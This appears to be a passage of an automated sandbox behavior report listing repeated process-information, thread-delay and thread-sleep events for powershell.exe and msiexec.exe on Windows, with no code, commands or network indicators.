Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599670	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597467	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596671	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595543	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594562	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6766			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2921			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3040	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 2740	Thread sleep count: 1397 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 2740	Thread sleep count: 8454 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -599670s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -599452s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -599016s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -597578s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -597467s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -597359s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -597250s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -597141s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -597016s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -596891s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -596781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -596671s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -596016s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -595891s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -595766s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -595656s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -595543s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -595109s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 6168	Thread sleep time: -594781s >= -30000s	Jump to behavior
